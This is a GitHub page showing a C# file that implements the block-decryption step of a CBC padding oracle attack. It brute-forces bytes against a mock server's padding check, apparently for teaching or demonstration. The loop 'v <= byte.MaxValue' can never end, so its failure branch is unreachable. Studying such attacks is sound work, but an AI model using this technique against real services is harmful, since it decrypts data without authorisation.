-
Notifications
You must be signed in to change notification settings - Fork 2
/
PaddingOracleDecryptor.cs
54 lines (43 loc) · 1.8 KB
/
PaddingOracleDecryptor.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
using System;
namespace Padding_Oracle_Attack
{
class PaddingOracleDecryptor
{
private RemoteServerMock oracle;
private PaddingValueProvider paddingValueProvider;
public PaddingOracleDecryptor(RemoteServerMock oracle)
{
this.oracle = oracle;
paddingValueProvider = PaddingUtils.GetPaddingValueProviderFromMode(oracle.Padding);
}
public byte[] DecryptBlock(byte[] block, byte[] previousBlock)
{
byte[] decrypted = new byte[block.Length];
byte[] manipulatedPrevious = new byte[16];
for (int currentPosition = block.Length - 1; currentPosition >= 0; --currentPosition)
{
var paddingLength = block.Length - currentPosition;
for (int pos = block.Length - 1; pos > currentPosition; --pos)
{
manipulatedPrevious[pos] ^= (byte)(paddingValueProvider(pos, paddingLength - 1, block.Length) ^ paddingValueProvider(pos, paddingLength, block.Length));
}
var found = false;
for (byte v = byte.MinValue; v <= byte.MaxValue; ++v)
{
manipulatedPrevious[currentPosition] = v;
if (oracle.IsPaddingCorrect(ByteUtils.Concatenate(manipulatedPrevious, block)))
{
found = true;
decrypted[currentPosition] = (byte)(previousBlock[currentPosition] ^ paddingValueProvider(currentPosition, paddingLength, block.Length) ^ v);
break;
}
}
if (!found)
{
throw new Exception("Decryption not possible");
}
}
return decrypted;
}
}
}